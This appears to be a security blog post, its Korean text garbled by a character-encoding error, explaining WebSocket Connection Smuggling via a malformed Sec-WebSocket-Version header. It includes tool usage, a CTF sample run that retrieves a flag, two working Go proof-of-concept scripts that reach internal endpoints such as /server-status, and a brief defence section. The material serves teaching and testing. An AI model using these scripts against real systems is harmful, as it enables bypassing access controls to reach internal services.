Websocket Connection Smuggling (WCS)

๐Ÿ” Introduction

WebSocket

์›น ์†Œ์ผ“์€ ๋‹จ์ผ ์š”์ฒญ ๋น„ ์—ฐ๊ฒฐํ˜•์ธ HTTP์˜ ๋‹จ์ ์„ ๋ณด์™„ํ•˜๊ธฐ ์œ„ํ•œ ํ”„๋กœํ† ์ฝœ๋กœ HTTP ๊ธฐ๋ฐ˜์˜ Handshake ๊ณผ์ •๊ณผ ์ดํ›„ TCP/TLS ํ†ต์‹ ์„ ์ด์šฉํ•˜์—ฌ ์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ง€์†์ ์œผ๋กœ ์†Œ์ผ“ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Stateful ํ•œ ํ”„๋กœํ† ์ฝœ
  • ํฌ๊ฒŒ Handshake์™€ Data transfer์˜ ๊ณผ์ •์œผ๋กœ ๋‚˜๋‰จ

๋งŽ์€ ์›น ์†Œ์ผ“์€ Data transfer ๋‹จ๊ณ„์—์„œ subprotocol์„ ์‚ฌ์šฉํ•˜์—ฌ ํ†ต์‹ ํ•ฉ๋‹ˆ๋‹ค. ๋ณธ ๊ณต๊ฒฉ๊ณผ๋Š” ๋ฌด๊ด€ํ•˜์ง€๋งŒ ์•Œ์•„๋‘๋ฉด ์ข‹์Šต๋‹ˆ๋‹ค. (sub-protocols)

WebSocket handshake

์›น ์†Œ์ผ“์€ ์•„๋ž˜์™€ ์•„๋ž˜ handshake ๊ณผ์ •์„ ํ†ตํ•ด ์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„์— ๊ธฐ์กด HTTP ํ†ต์‹ ์—์„œ WebSocket ํ†ต์‹ ์œผ๋กœ Switching ๋ฉ๋‹ˆ๋‹ค.

WebSocket Connection Smuggling

์›น์†Œ์ผ“์˜ ์‹œ์ž‘์ธ HTTP Upgrade Request๊ฐ€ ์ „์†ก๋  ๋•Œ Sec-WebSocket-Version ํ—ค๋” ๋“ฑ์— ์ž˜๋ชป๋œ ๊ฐ’์ด ํฌํ•จ๋œ ๊ฒฝ์šฐ ์—๋Ÿฌ ์‘๋‹ต์ธ 426์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์žฌ๋ฏธ์žˆ๋Š” ์ ์€ ์ด ๋•Œ ํด๋ผ์ด์–ธํŠธ์™€ ์›น ์†Œ์ผ“ ์„œ๋ฒ„๋Š” Connection(wss๋Š” tls, ws๋Š” tcp)์ด ๋งบ์–ด์ง€๊ณ  ์ด๋Š” ์›น ์†Œ์ผ“ ํ†ต์‹ ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

The |Sec-WebSocket-Version| header field in the client’s handshake includes the version of the WebSocket Protocol with which the client is attempting to communicate. If this version does not match a version understood by the server, the server MUST abort the WebSocket handshake described in this section and instead send an appropriate HTTP error code (such as 426 Upgrade Required) and a |Sec-WebSocket-Version| header field indicating the version(s) the server is capable of understanding.

์ฆ‰ HTTP ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ํ„ฐ๋„์ด ์ƒ๊ธด๊ฑฐ๊ณ , ์‚ฌ์šฉ์ž๊ฐ€ Connection close๋ฅผ ํ•˜์ง€ ์•Š๊ณ  ๋ฐ”๋กœ HTTP ์š”์ฒญ์„ ์ „๋‹ฌํ•˜๋ฉด, Back-End์— ์žˆ๋Š” ์†Œ์ผ“ ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์ฒ˜๋ฆฌํ•˜์—ฌ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „๋‹ฌํ•ด์ค๋‹ˆ๋‹ค. (G/W ๋ฐฉ์‹์ด๋˜, Front-End๊ฐ€ ๋ณ„๊ฐœ๋กœ ์žˆ๋˜ ๋™์ผํ•ฉ๋‹ˆ๋‹ค)

๊ฒฐ๊ตญ ๊ณต๊ฒฉ์ž๋Š” ์ด ํ„ฐ๋„์„ ์ด์šฉํ•ด์„œ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด ์ž์ฒด๋งŒ์œผ๋กœ ๋ฌธ์ œ๊ฐ€ ๋˜์ง„ ์•Š์ง€๋งŒ, HTTP ๊ธฐ๋ฐ˜์˜ ACL์ด ์žˆ๋Š” ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์ธ ์›น ์š”์ฒญ์—์„œ ์ ‘๊ทผํ•˜์ง€ ๋ชปํ•˜๋Š” ๊ฒฝ๋กœ์— ์ด tls/tcp ํ„ฐ๋„์„ ์ด์šฉํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

์ด๋ฅผ ์ฒดํฌํ•˜๊ธฐ ์œ„ํ•ด์„  ๋น„์ •์ƒ์ ์ธ Sec-WebSocket-Version ํ—ค๋”๋ฅผ ํฌํ•จํ•ด์„œ ์ „์†กํ•˜์—ฌ Response์˜ ์ฒ˜๋ฆฌ ๋ฐฉ์‹์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต 426 Response๊ฐ€ ์˜ค๋ฉด ์ทจ์•ฝํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•˜๋ฉฐ, ์—ฌ๊ธฐ์„œ Socket Smugglingํ•˜์—ฌ ๋‹ค๋ฅธ Resource๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š”์ง€ ์ฒดํฌํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์‰ฝ๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ„๋‹จํ•œ ๋„๊ตฌ๋ฅผ ํ•˜๋‚˜ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

websocket-connection-smuggler

Install websocket-connection-smuggler

1
go get github.com/hahwul/websocket-connection-smuggler

Testing with websocket-conneciton-smuggler

1
~/go/bin/websocket-connetion-smuggler

Set target

1
WCS(...) > set target {your target}

Set SSL

1
2
3
4
5
# HTTPS
WCS(...) > set ssl true

# HTTP
WCS(...) > set ssl false

Set Original Request

1
2
3
4
5
6
WCS(...) > set o_data
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket

Set smuggled request

1
2
3
4
WCS(...) > set s_data
GET /flag HTTP/1.1
Host: localhost:5000

Running sample

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
WCS(target=>None | ssl=>false ) > set target challenge.0ang3el.tk:80
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set o_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set s_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > send
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket

2019/11/30 03:39:15 HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Date: Fri, 29 Nov 2019 18:39:15 GMT

{"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"}
gth: 119
Date: Fri, 29 Nov 2019 18:39:14 GMT

        ๏ฟฝ0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"5148720e07f240a99e6aa7457f41686f"}๏ฟฝ40

Exploitation

WebSocket Connection Smuggling์ด ํ™•์ธ๋˜๋ฉด ๋‚ด๋ถ€ ๋ฆฌ์†Œ์Šค์— ์ตœ๋Œ€ํ•œ ์ ‘๊ทผํ•ด์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฝ‘์•„์•ผํ•ฉ๋‹ˆ๋‹ค. Smuggle request์˜ Host header ๋“ฑ์„ ์ˆ˜์ •ํ•˜๋ฉด์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ํ™•์ธํ•˜์—ฌ ์˜ํ–ฅ๋ ฅ์„ ์ฆ๋ช…ํ•ฉ๋‹ˆ๋‹ค.

HTTP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package main

import (
    "log"
    "net"
    "io"
)

func main() {
    conn, err := net.Dial("tcp", "target_domain:80")
    if nil != err {
        log.Fatalf("failed to connect to server")
    }
    req1 := "GET /connect HTTP/1.1\r\nHost: target_domain\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\nSec-WebSocket-Key: n8mYqFLLmPy5r33j7qwGeQ==\r\n\r\n"
    req2 := "GET /server-status HTTP/1.1\r\nHost: localhost:8080\r\n\r\n"
    recvBuf := make([]byte, 4096)
    conn.Write([]byte(req1))
    conn.Read(recvBuf)
    conn.Write([]byte(req2))
    conn.Read(recvBuf)
    log.Printf("%s",recvBuf)
    if nil != err {
        if io.EOF == err {
            log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
            return
        }
        log.Printf("fail to receive data; err: %v", err)
        return
    }
    conn.Close()
}

HTTPS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package main

import (
    "log"
    "crypto/tls"
    "fmt"
    "io"
)

func main() {
    conf := &tls.Config{
        InsecureSkipVerify: true,
    }
    conn, err := tls.Dial("tcp", "target_domain:443", conf)
    if nil != err {
        log.Fatalf("failed to connect to server")
    }
    req1 := "GET /connect HTTP/1.1\r\nHost: target_domain\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\nSec-WebSocket-Key: n8mYqFLLmPy5r33j7qwGeQ==\r\n\r\n"
    req2 := "GET /server-status HTTP/1.1\r\nHost: localhost:8080\r\n\r\n"
    recvBuf := make([]byte, 4096)
    conn.Write([]byte(req1))
    conn.Read(recvBuf)
    conn.Write([]byte(req2))
    conn.Read(recvBuf)
    fmt.Printf("%s",req1+req2)
    fmt.Println("====")
    log.Printf("%s",recvBuf)
    if nil != err {
        if io.EOF == err {
            log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
            return
        }
        log.Printf("fail to receive data; err: %v", err)
        return
    }
    conn.Close()
}

๐Ÿ›ก Defensive techniques

๋น„ ์ •์ƒ์ ์ธ Sec-WebSocket-Version ํ—ค๋”๊ฐ€ ์š”์ฒญ๋˜์—ˆ์„ ๋•Œ ์›น ์†Œ์ผ“ ์„œ๋ฒ„์—์„œ ๋ฌด์‹œํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜/๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋‹จ์—์„œ ํŒจ์น˜๊ฐ€ ๋‚˜์™”์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๊ณ , ๋‚˜์™”๋‹ค๋ฉด ํŒจ์น˜๋ฅผ ์ ์šฉํ•ด์ฃผ์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

๐Ÿ•น Tools

๐Ÿ“š Articles

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0
Last updated on Mar 07, 2022 12:32 +0900